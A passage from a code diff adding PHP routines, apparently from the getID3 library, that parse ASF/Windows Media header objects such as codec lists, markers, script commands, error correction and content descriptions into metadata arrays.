+						unset($thisfile_asf_headerextensionobject['extension_data']);
+					}
+					$offset += $thisfile_asf_headerextensionobject['extension_data_size'];
+					break;
+
+				case GETID3_ASF_Codec_List_Object:
+					// Codec List Object: (optional, one only)
+					// Field Name                   Field Type   Size (bits)
+					// Object ID                    GUID         128             // GUID for Codec List object - GETID3_ASF_Codec_List_Object
+					// Object Size                  QWORD        64              // size of Codec List object, including 44 bytes of Codec List Object header
+					// Reserved                     GUID         128             // hardcoded: 86D15241-311D-11D0-A3A4-00A0C90348F6
+					// Codec Entries Count          DWORD        32              // number of entries in Codec Entries array
+					// Codec Entries                array of:    variable        //
+					// * Type                       WORD         16              // 0x0001 = Video Codec, 0x0002 = Audio Codec, 0xFFFF = Unknown Codec
+					// * Codec Name Length          WORD         16              // number of Unicode characters stored in the Codec Name field
+					// * Codec Name                 WCHAR        variable        // array of Unicode characters - name of codec used to create the content
+					// * Codec Description Length   WORD         16              // number of Unicode characters stored in the Codec Description field
+					// * Codec Description          WCHAR        variable        // array of Unicode characters - description of format used to create the content
+					// * Codec Information Length   WORD         16              // number of Unicode characters stored in the Codec Information field
+					// * Codec Information          BYTESTREAM   variable        // opaque array of information bytes about the codec used to create the content
+
+					// shortcut
+					$thisfile_asf['codec_list_object'] = array();
+					$thisfile_asf_codeclistobject      = &$thisfile_asf['codec_list_object'];
+
+					$thisfile_asf_codeclistobject['offset']                    = $NextObjectOffset + $offset;
+					$thisfile_asf_codeclistobject['objectid']                  = $NextObjectGUID;
+					$thisfile_asf_codeclistobject['objectid_guid']             = $NextObjectGUIDtext;
+					$thisfile_asf_codeclistobject['objectsize']                = $NextObjectSize;
+					$thisfile_asf_codeclistobject['reserved']                  = substr($ASFHeaderData, $offset, 16);
+					$offset += 16;
+					$thisfile_asf_codeclistobject['reserved_guid']             = $this->BytestringToGUID($thisfile_asf_codeclistobject['reserved']);
+					if ($thisfile_asf_codeclistobject['reserved'] != $this->GUIDtoBytestring('86D15241-311D-11D0-A3A4-00A0C90348F6')) {
+						$this->warning('codec_list_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_codeclistobject['reserved']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {86D15241-311D-11D0-A3A4-00A0C90348F6}');
+						//return false;
+						break;
+					}
+					$thisfile_asf_codeclistobject['codec_entries_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+					$offset += 4;
+					for ($CodecEntryCounter = 0; $CodecEntryCounter < $thisfile_asf_codeclistobject['codec_entries_count']; $CodecEntryCounter++) {
+						// shortcut
+						$thisfile_asf_codeclistobject['codec_entries'][$CodecEntryCounter] = array();
+						$thisfile_asf_codeclistobject_codecentries_current = &$thisfile_asf_codeclistobject['codec_entries'][$CodecEntryCounter];
+
+						$thisfile_asf_codeclistobject_codecentries_current['type_raw'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+						$offset += 2;
+						$thisfile_asf_codeclistobject_codecentries_current['type'] = self::codecListObjectTypeLookup($thisfile_asf_codeclistobject_codecentries_current['type_raw']);
+
+						$CodecNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character
+						$offset += 2;
+						$thisfile_asf_codeclistobject_codecentries_current['name'] = substr($ASFHeaderData, $offset, $CodecNameLength);
+						$offset += $CodecNameLength;
+
+						$CodecDescriptionLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character
+						$offset += 2;
+						$thisfile_asf_codeclistobject_codecentries_current['description'] = substr($ASFHeaderData, $offset, $CodecDescriptionLength);
+						$offset += $CodecDescriptionLength;
+
+						$CodecInformationLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+						$offset += 2;
+						$thisfile_asf_codeclistobject_codecentries_current['information'] = substr($ASFHeaderData, $offset, $CodecInformationLength);
+						$offset += $CodecInformationLength;
+
+						if ($thisfile_asf_codeclistobject_codecentries_current['type_raw'] == 2) { // audio codec
+
+							if (strpos($thisfile_asf_codeclistobject_codecentries_current['description'], ',') === false) {
+								$this->warning('[asf][codec_list_object][codec_entries]['.$CodecEntryCounter.'][description] expected to contain comma-separated list of parameters: "'.$thisfile_asf_codeclistobject_codecentries_current['description'].'"');
+							} else {
+
+								list($AudioCodecBitrate, $AudioCodecFrequency, $AudioCodecChannels) = explode(',', $this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['description']));
+								$thisfile_audio['codec'] = $this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['name']);
+
+								if (!isset($thisfile_audio['bitrate']) && strstr($AudioCodecBitrate, 'kbps')) {
+									$thisfile_audio['bitrate'] = (int) (trim(str_replace('kbps', '', $AudioCodecBitrate)) * 1000);
+								}
+								//if (!isset($thisfile_video['bitrate']) && isset($thisfile_audio['bitrate']) && isset($thisfile_asf['file_properties_object']['max_bitrate']) && ($thisfile_asf_codeclistobject['codec_entries_count'] > 1)) {
+								if (empty($thisfile_video['bitrate']) && !empty($thisfile_audio['bitrate']) && !empty($info['bitrate'])) {
+									//$thisfile_video['bitrate'] = $thisfile_asf['file_properties_object']['max_bitrate'] - $thisfile_audio['bitrate'];
+									$thisfile_video['bitrate'] = $info['bitrate'] - $thisfile_audio['bitrate'];
+								}
+
+								$AudioCodecFrequency = (int) trim(str_replace('kHz', '', $AudioCodecFrequency));
+								switch ($AudioCodecFrequency) {
+									case 8:
+									case 8000:
+										$thisfile_audio['sample_rate'] = 8000;
+										break;
+
+									case 11:
+									case 11025:
+										$thisfile_audio['sample_rate'] = 11025;
+										break;
+
+									case 12:
+									case 12000:
+										$thisfile_audio['sample_rate'] = 12000;
+										break;
+
+									case 16:
+									case 16000:
+										$thisfile_audio['sample_rate'] = 16000;
+										break;
+
+									case 22:
+									case 22050:
+										$thisfile_audio['sample_rate'] = 22050;
+										break;
+
+									case 24:
+									case 24000:
+										$thisfile_audio['sample_rate'] = 24000;
+										break;
+
+									case 32:
+									case 32000:
+										$thisfile_audio['sample_rate'] = 32000;
+										break;
+
+									case 44:
+									case 441000:
+										$thisfile_audio['sample_rate'] = 44100;
+										break;
+
+									case 48:
+									case 48000:
+										$thisfile_audio['sample_rate'] = 48000;
+										break;
+
+									default:
+										$this->warning('unknown frequency: "'.$AudioCodecFrequency.'" ('.$this->TrimConvert($thisfile_asf_codeclistobject_codecentries_current['description']).')');
+										break;
+								}
+
+								if (!isset($thisfile_audio['channels'])) {
+									if (strstr($AudioCodecChannels, 'stereo')) {
+										$thisfile_audio['channels'] = 2;
+									} elseif (strstr($AudioCodecChannels, 'mono')) {
+										$thisfile_audio['channels'] = 1;
+									}
+								}
+
+							}
+						}
+					}
+					break;
+
+				case GETID3_ASF_Script_Command_Object:
+					// Script Command Object: (optional, one only)
+					// Field Name                   Field Type   Size (bits)
+					// Object ID                    GUID         128             // GUID for Script Command object - GETID3_ASF_Script_Command_Object
+					// Object Size                  QWORD        64              // size of Script Command object, including 44 bytes of Script Command Object header
+					// Reserved                     GUID         128             // hardcoded: 4B1ACBE3-100B-11D0-A39B-00A0C90348F6
+					// Commands Count               WORD         16              // number of Commands structures in the Script Commands Objects
+					// Command Types Count          WORD         16              // number of Command Types structures in the Script Commands Objects
+					// Command Types                array of:    variable        //
+					// * Command Type Name Length   WORD         16              // number of Unicode characters for Command Type Name
+					// * Command Type Name          WCHAR        variable        // array of Unicode characters - name of a type of command
+					// Commands                     array of:    variable        //
+					// * Presentation Time          DWORD        32              // presentation time of that command, in milliseconds
+					// * Type Index                 WORD         16              // type of this command, as a zero-based index into the array of Command Types of this object
+					// * Command Name Length        WORD         16              // number of Unicode characters for Command Name
+					// * Command Name               WCHAR        variable        // array of Unicode characters - name of this command
+
+					// shortcut
+					$thisfile_asf['script_command_object'] = array();
+					$thisfile_asf_scriptcommandobject      = &$thisfile_asf['script_command_object'];
+
+					$thisfile_asf_scriptcommandobject['offset']               = $NextObjectOffset + $offset;
+					$thisfile_asf_scriptcommandobject['objectid']             = $NextObjectGUID;
+					$thisfile_asf_scriptcommandobject['objectid_guid']        = $NextObjectGUIDtext;
+					$thisfile_asf_scriptcommandobject['objectsize']           = $NextObjectSize;
+					$thisfile_asf_scriptcommandobject['reserved']             = substr($ASFHeaderData, $offset, 16);
+					$offset += 16;
+					$thisfile_asf_scriptcommandobject['reserved_guid']        = $this->BytestringToGUID($thisfile_asf_scriptcommandobject['reserved']);
+					if ($thisfile_asf_scriptcommandobject['reserved'] != $this->GUIDtoBytestring('4B1ACBE3-100B-11D0-A39B-00A0C90348F6')) {
+						$this->warning('script_command_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_scriptcommandobject['reserved']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {4B1ACBE3-100B-11D0-A39B-00A0C90348F6}');
+						//return false;
+						break;
+					}
+					$thisfile_asf_scriptcommandobject['commands_count']       = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					$thisfile_asf_scriptcommandobject['command_types_count']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					for ($CommandTypesCounter = 0; $CommandTypesCounter < $thisfile_asf_scriptcommandobject['command_types_count']; $CommandTypesCounter++) {
+						$CommandTypeNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character
+						$offset += 2;
+						$thisfile_asf_scriptcommandobject['command_types'][$CommandTypesCounter]['name'] = substr($ASFHeaderData, $offset, $CommandTypeNameLength);
+						$offset += $CommandTypeNameLength;
+					}
+					for ($CommandsCounter = 0; $CommandsCounter < $thisfile_asf_scriptcommandobject['commands_count']; $CommandsCounter++) {
+						$thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['presentation_time']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+						$offset += 4;
+						$thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['type_index']         = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+						$offset += 2;
+
+						$CommandTypeNameLength = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2)) * 2; // 2 bytes per character
+						$offset += 2;
+						$thisfile_asf_scriptcommandobject['commands'][$CommandsCounter]['name'] = substr($ASFHeaderData, $offset, $CommandTypeNameLength);
+						$offset += $CommandTypeNameLength;
+					}
+					break;
+
+				case GETID3_ASF_Marker_Object:
+					// Marker Object: (optional, one only)
+					// Field Name                   Field Type   Size (bits)
+					// Object ID                    GUID         128             // GUID for Marker object - GETID3_ASF_Marker_Object
+					// Object Size                  QWORD        64              // size of Marker object, including 48 bytes of Marker Object header
+					// Reserved                     GUID         128             // hardcoded: 4CFEDB20-75F6-11CF-9C0F-00A0C90349CB
+					// Markers Count                DWORD        32              // number of Marker structures in Marker Object
+					// Reserved                     WORD         16              // hardcoded: 0x0000
+					// Name Length                  WORD         16              // number of bytes in the Name field
+					// Name                         WCHAR        variable        // name of the Marker Object
+					// Markers                      array of:    variable        //
+					// * Offset                     QWORD        64              // byte offset into Data Object
+					// * Presentation Time          QWORD        64              // in 100-nanosecond units
+					// * Entry Length               WORD         16              // length in bytes of (Send Time + Flags + Marker Description Length + Marker Description + Padding)
+					// * Send Time                  DWORD        32              // in milliseconds
+					// * Flags                      DWORD        32              // hardcoded: 0x00000000
+					// * Marker Description Length  DWORD        32              // number of bytes in Marker Description field
+					// * Marker Description         WCHAR        variable        // array of Unicode characters - description of marker entry
+					// * Padding                    BYTESTREAM   variable        // optional padding bytes
+
+					// shortcut
+					$thisfile_asf['marker_object'] = array();
+					$thisfile_asf_markerobject     = &$thisfile_asf['marker_object'];
+
+					$thisfile_asf_markerobject['offset']               = $NextObjectOffset + $offset;
+					$thisfile_asf_markerobject['objectid']             = $NextObjectGUID;
+					$thisfile_asf_markerobject['objectid_guid']        = $NextObjectGUIDtext;
+					$thisfile_asf_markerobject['objectsize']           = $NextObjectSize;
+					$thisfile_asf_markerobject['reserved']             = substr($ASFHeaderData, $offset, 16);
+					$offset += 16;
+					$thisfile_asf_markerobject['reserved_guid']        = $this->BytestringToGUID($thisfile_asf_markerobject['reserved']);
+					if ($thisfile_asf_markerobject['reserved'] != $this->GUIDtoBytestring('4CFEDB20-75F6-11CF-9C0F-00A0C90349CB')) {
+						$this->warning('marker_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_markerobject['reserved_1']).'} does not match expected "GETID3_ASF_Reserved_1" GUID {4CFEDB20-75F6-11CF-9C0F-00A0C90349CB}');
+						break;
+					}
+					$thisfile_asf_markerobject['markers_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+					$offset += 4;
+					$thisfile_asf_markerobject['reserved_2'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					if ($thisfile_asf_markerobject['reserved_2'] != 0) {
+						$this->warning('marker_object.reserved_2 ('.getid3_lib::PrintHexBytes($thisfile_asf_markerobject['reserved_2']).') does not match expected value of "0"');
+						break;
+					}
+					$thisfile_asf_markerobject['name_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					$thisfile_asf_markerobject['name'] = substr($ASFHeaderData, $offset, $thisfile_asf_markerobject['name_length']);
+					$offset += $thisfile_asf_markerobject['name_length'];
+					for ($MarkersCounter = 0; $MarkersCounter < $thisfile_asf_markerobject['markers_count']; $MarkersCounter++) {
+						$thisfile_asf_markerobject['markers'][$MarkersCounter]['offset']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
+						$offset += 8;
+						$thisfile_asf_markerobject['markers'][$MarkersCounter]['presentation_time']         = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
+						$offset += 8;
+						$thisfile_asf_markerobject['markers'][$MarkersCounter]['entry_length']              = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+						$offset += 2;
+						$thisfile_asf_markerobject['markers'][$MarkersCounter]['send_time']                 = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+						$offset += 4;
+						$thisfile_asf_markerobject['markers'][$MarkersCounter]['flags']                     = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+						$offset += 4;
+						$thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+						$offset += 4;
+						$thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description']        = substr($ASFHeaderData, $offset, $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length']);
+						$offset += $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length'];
+						$PaddingLength = $thisfile_asf_markerobject['markers'][$MarkersCounter]['entry_length'] - 4 -  4 - 4 - $thisfile_asf_markerobject['markers'][$MarkersCounter]['marker_description_length'];
+						if ($PaddingLength > 0) {
+							$thisfile_asf_markerobject['markers'][$MarkersCounter]['padding']               = substr($ASFHeaderData, $offset, $PaddingLength);
+							$offset += $PaddingLength;
+						}
+					}
+					break;
+
+				case GETID3_ASF_Bitrate_Mutual_Exclusion_Object:
+					// Bitrate Mutual Exclusion Object: (optional)
+					// Field Name                   Field Type   Size (bits)
+					// Object ID                    GUID         128             // GUID for Bitrate Mutual Exclusion object - GETID3_ASF_Bitrate_Mutual_Exclusion_Object
+					// Object Size                  QWORD        64              // size of Bitrate Mutual Exclusion object, including 42 bytes of Bitrate Mutual Exclusion Object header
+					// Exlusion Type                GUID         128             // nature of mutual exclusion relationship. one of: (GETID3_ASF_Mutex_Bitrate, GETID3_ASF_Mutex_Unknown)
+					// Stream Numbers Count         WORD         16              // number of video streams
+					// Stream Numbers               WORD         variable        // array of mutually exclusive video stream numbers. 1 <= valid <= 127
+
+					// shortcut
+					$thisfile_asf['bitrate_mutual_exclusion_object'] = array();
+					$thisfile_asf_bitratemutualexclusionobject       = &$thisfile_asf['bitrate_mutual_exclusion_object'];
+
+					$thisfile_asf_bitratemutualexclusionobject['offset']               = $NextObjectOffset + $offset;
+					$thisfile_asf_bitratemutualexclusionobject['objectid']             = $NextObjectGUID;
+					$thisfile_asf_bitratemutualexclusionobject['objectid_guid']        = $NextObjectGUIDtext;
+					$thisfile_asf_bitratemutualexclusionobject['objectsize']           = $NextObjectSize;
+					$thisfile_asf_bitratemutualexclusionobject['reserved']             = substr($ASFHeaderData, $offset, 16);
+					$thisfile_asf_bitratemutualexclusionobject['reserved_guid']        = $this->BytestringToGUID($thisfile_asf_bitratemutualexclusionobject['reserved']);
+					$offset += 16;
+					if (($thisfile_asf_bitratemutualexclusionobject['reserved'] != GETID3_ASF_Mutex_Bitrate) && ($thisfile_asf_bitratemutualexclusionobject['reserved'] != GETID3_ASF_Mutex_Unknown)) {
+						$this->warning('bitrate_mutual_exclusion_object.reserved GUID {'.$this->BytestringToGUID($thisfile_asf_bitratemutualexclusionobject['reserved']).'} does not match expected "GETID3_ASF_Mutex_Bitrate" GUID {'.$this->BytestringToGUID(GETID3_ASF_Mutex_Bitrate).'} or  "GETID3_ASF_Mutex_Unknown" GUID {'.$this->BytestringToGUID(GETID3_ASF_Mutex_Unknown).'}');
+						//return false;
+						break;
+					}
+					$thisfile_asf_bitratemutualexclusionobject['stream_numbers_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					for ($StreamNumberCounter = 0; $StreamNumberCounter < $thisfile_asf_bitratemutualexclusionobject['stream_numbers_count']; $StreamNumberCounter++) {
+						$thisfile_asf_bitratemutualexclusionobject['stream_numbers'][$StreamNumberCounter] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+						$offset += 2;
+					}
+					break;
+
+				case GETID3_ASF_Error_Correction_Object:
+					// Error Correction Object: (optional, one only)
+					// Field Name                   Field Type   Size (bits)
+					// Object ID                    GUID         128             // GUID for Error Correction object - GETID3_ASF_Error_Correction_Object
+					// Object Size                  QWORD        64              // size of Error Correction object, including 44 bytes of Error Correction Object header
+					// Error Correction Type        GUID         128             // type of error correction. one of: (GETID3_ASF_No_Error_Correction, GETID3_ASF_Audio_Spread)
+					// Error Correction Data Length DWORD        32              // number of bytes in Error Correction Data field
+					// Error Correction Data        BYTESTREAM   variable        // structure depends on value of Error Correction Type field
+
+					// shortcut
+					$thisfile_asf['error_correction_object'] = array();
+					$thisfile_asf_errorcorrectionobject      = &$thisfile_asf['error_correction_object'];
+
+					$thisfile_asf_errorcorrectionobject['offset']                = $NextObjectOffset + $offset;
+					$thisfile_asf_errorcorrectionobject['objectid']              = $NextObjectGUID;
+					$thisfile_asf_errorcorrectionobject['objectid_guid']         = $NextObjectGUIDtext;
+					$thisfile_asf_errorcorrectionobject['objectsize']            = $NextObjectSize;
+					$thisfile_asf_errorcorrectionobject['error_correction_type'] = substr($ASFHeaderData, $offset, 16);
+					$offset += 16;
+					$thisfile_asf_errorcorrectionobject['error_correction_guid'] = $this->BytestringToGUID($thisfile_asf_errorcorrectionobject['error_correction_type']);
+					$thisfile_asf_errorcorrectionobject['error_correction_data_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
+					$offset += 4;
+					switch ($thisfile_asf_errorcorrectionobject['error_correction_type']) {
+						case GETID3_ASF_No_Error_Correction:
+							// should be no data, but just in case there is, skip to the end of the field
+							$offset += $thisfile_asf_errorcorrectionobject['error_correction_data_length'];
+							break;
+
+						case GETID3_ASF_Audio_Spread:
+							// Field Name                   Field Type   Size (bits)
+							// Span                         BYTE         8               // number of packets over which audio will be spread.
+							// Virtual Packet Length        WORD         16              // size of largest audio payload found in audio stream
+							// Virtual Chunk Length         WORD         16              // size of largest audio payload found in audio stream
+							// Silence Data Length          WORD         16              // number of bytes in Silence Data field
+							// Silence Data                 BYTESTREAM   variable        // hardcoded: 0x00 * (Silence Data Length) bytes
+
+							$thisfile_asf_errorcorrectionobject['span']                  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 1));
+							$offset += 1;
+							$thisfile_asf_errorcorrectionobject['virtual_packet_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+							$offset += 2;
+							$thisfile_asf_errorcorrectionobject['virtual_chunk_length']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+							$offset += 2;
+							$thisfile_asf_errorcorrectionobject['silence_data_length']   = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+							$offset += 2;
+							$thisfile_asf_errorcorrectionobject['silence_data']          = substr($ASFHeaderData, $offset, $thisfile_asf_errorcorrectionobject['silence_data_length']);
+							$offset += $thisfile_asf_errorcorrectionobject['silence_data_length'];
+							break;
+
+						default:
+							$this->warning('error_correction_object.error_correction_type GUID {'.$this->BytestringToGUID($thisfile_asf_errorcorrectionobject['reserved']).'} does not match expected "GETID3_ASF_No_Error_Correction" GUID {'.$this->BytestringToGUID(GETID3_ASF_No_Error_Correction).'} or  "GETID3_ASF_Audio_Spread" GUID {'.$this->BytestringToGUID(GETID3_ASF_Audio_Spread).'}');
+							//return false;
+							break;
+					}
+
+					break;
+
+				case GETID3_ASF_Content_Description_Object:
+					// Content Description Object: (optional, one only)
+					// Field Name                   Field Type   Size (bits)
+					// Object ID                    GUID         128             // GUID for Content Description object - GETID3_ASF_Content_Description_Object
+					// Object Size                  QWORD        64              // size of Content Description object, including 34 bytes of Content Description Object header
+					// Title Length                 WORD         16              // number of bytes in Title field
+					// Author Length                WORD         16              // number of bytes in Author field
+					// Copyright Length             WORD         16              // number of bytes in Copyright field
+					// Description Length           WORD         16              // number of bytes in Description field
+					// Rating Length                WORD         16              // number of bytes in Rating field
+					// Title                        WCHAR        16              // array of Unicode characters - Title
+					// Author                       WCHAR        16              // array of Unicode characters - Author
+					// Copyright                    WCHAR        16              // array of Unicode characters - Copyright
+					// Description                  WCHAR        16              // array of Unicode characters - Description
+					// Rating                       WCHAR        16              // array of Unicode characters - Rating
+
+					// shortcut
+					$thisfile_asf['content_description_object'] = array();
+					$thisfile_asf_contentdescriptionobject      = &$thisfile_asf['content_description_object'];
+
+					$thisfile_asf_contentdescriptionobject['offset']                = $NextObjectOffset + $offset;
+					$thisfile_asf_contentdescriptionobject['objectid']              = $NextObjectGUID;
+					$thisfile_asf_contentdescriptionobject['objectid_guid']         = $NextObjectGUIDtext;
+					$thisfile_asf_contentdescriptionobject['objectsize']            = $NextObjectSize;
+					$thisfile_asf_contentdescriptionobject['title_length']          = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					$thisfile_asf_contentdescriptionobject['author_length']         = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					$thisfile_asf_contentdescriptionobject['copyright_length']      = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					$thisfile_asf_contentdescriptionobject['description_length']    = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					$thisfile_asf_contentdescriptionobject['rating_length']         = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					$thisfile_asf_contentdescriptionobject['title']                 = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['title_length']);
+					$offset += $thisfile_asf_contentdescriptionobject['title_length'];
+					$thisfile_asf_contentdescriptionobject['author']                = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['author_length']);
+					$offset += $thisfile_asf_contentdescriptionobject['author_length'];
+					$thisfile_asf_contentdescriptionobject['copyright']             = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['copyright_length']);
+					$offset += $thisfile_asf_contentdescriptionobject['copyright_length'];
+					$thisfile_asf_contentdescriptionobject['description']           = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['description_length']);
+					$offset += $thisfile_asf_contentdescriptionobject['description_length'];
+					$thisfile_asf_contentdescriptionobject['rating']                = substr($ASFHeaderData, $offset, $thisfile_asf_contentdescriptionobject['rating_length']);
+					$offset += $thisfile_asf_contentdescriptionobject['rating_length'];
+
+					$ASFcommentKeysToCopy = array('title'=>'title', 'author'=>'artist', 'copyright'=>'copyright', 'description'=>'comment', 'rating'=>'rating');
+					foreach ($ASFcommentKeysToCopy as $keytocopyfrom => $keytocopyto) {
+						if (!empty($thisfile_asf_contentdescriptionobject[$keytocopyfrom])) {
+							$thisfile_asf_comments[$keytocopyto][] = $this->TrimTerm($thisfile_asf_contentdescriptionobject[$keytocopyfrom]);
+						}
+					}
+					break;
+
+				case GETID3_ASF_Extended_Content_Description_Object:
+					// Extended Content Description Object: (optional, one only)
+					// Field Name                   Field Type   Size (bits)
+					// Object ID                    GUID         128             // GUID for Extended Content Description object - GETID3_ASF_Extended_Content_Description_Object
+					// Object Size                  QWORD        64              // size of ExtendedContent Description object, including 26 bytes of Extended Content Description Object header
+					// Content Descriptors Count    WORD         16              // number of entries in Content Descriptors list
+					// Content Descriptors          array of:    variable        //
+					// * Descriptor Name Length     WORD         16              // size in bytes of Descriptor Name field
+					// * Descriptor Name            WCHAR        variable        // array of Unicode characters - Descriptor Name
+					// * Descriptor Value Data Type WORD         16              // Lookup array:
+																					// 0x0000 = Unicode String (variable length)
+																					// 0x0001 = BYTE array     (variable length)
+																					// 0x0002 = BOOL           (DWORD, 32 bits)
+																					// 0x0003 = DWORD          (DWORD, 32 bits)
+																					// 0x0004 = QWORD          (QWORD, 64 bits)
+																					// 0x0005 = WORD           (WORD,  16 bits)
+					// * Descriptor Value Length    WORD         16              // number of bytes stored in Descriptor Value field
+					// * Descriptor Value           variable     variable        // value for Content Descriptor
+
+					// shortcut
+					$thisfile_asf['extended_content_description_object'] = array();
+					$thisfile_asf_extendedcontentdescriptionobject       = &$thisfile_asf['extended_content_description_object'];
+
+					$thisfile_asf_extendedcontentdescriptionobject['offset']                    = $NextObjectOffset + $offset;
+					$thisfile_asf_extendedcontentdescriptionobject['objectid']                  = $NextObjectGUID;
+					$thisfile_asf_extendedcontentdescriptionobject['objectid_guid']             = $NextObjectGUIDtext;
+					$thisfile_asf_extendedcontentdescriptionobject['objectsize']                = $NextObjectSize;
+					$thisfile_asf_extendedcontentdescriptionobject['content_descriptors_count'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+					$offset += 2;
+					for ($ExtendedContentDescriptorsCounter = 0; $ExtendedContentDescriptorsCounter < $thisfile_asf_extendedcontentdescriptionobject['content_descriptors_count']; $ExtendedContentDescriptorsCounter++) {
+						// shortcut
+						$thisfile_asf_extendedcontentdescriptionobject['content_descriptors'][$ExtendedContentDescriptorsCounter] = array();
+						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current                 = &$thisfile_asf_extendedcontentdescriptionobject['content_descriptors'][$ExtendedContentDescriptorsCounter];
+
+						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['base_offset']  = $offset + 30;
+						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length']  = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+						$offset += 2;
+						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name']         = substr($ASFHeaderData, $offset, $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length']);
+						$offset += $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name_length'];
+						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type']   = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+						$offset += 2;
+						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length'] = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 2));
+						$offset += 2;
+						$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']        = substr($ASFHeaderData, $offset, $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length']);
+						$offset += $thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_length'];
+						switch ($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type']) {
+							case 0x0000: // Unicode string
+								break;
+
+							case 0x0001: // BYTE array
+								// do nothing
+								break;
+
+							case 0x0002: // BOOL
+								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = (bool) getid3_lib::LittleEndian2Int($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
+								break;
+
+							case 0x0003: // DWORD
+							case 0x0004: // QWORD
+							case 0x0005: // WORD
+								$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value'] = getid3_lib::LittleEndian2Int($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']);
+								break;
+
+							default:
+								$this->warning('extended_content_description.content_descriptors.'.$ExtendedContentDescriptorsCounter.'.value_type is invalid ('.$thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value_type'].')');
+								//return false;
+								break;
+						}
+						switch ($this->TrimConvert(strtolower($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['name']))) {
+
+							case 'wm/albumartist':
+							case 'artist':
+								// Note: not 'artist', that comes from 'author' tag
+								$thisfile_asf_comments['albumartist'] = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
+								break;
+
+							case 'wm/albumtitle':
+							case 'album':
+								$thisfile_asf_comments['album']  = array($this->TrimTerm($thisfile_asf_extendedcontentdescriptionobject_contentdescriptor_current['value']));
+								break;
+
+							case 'wm/genre':
+							case 'genre':
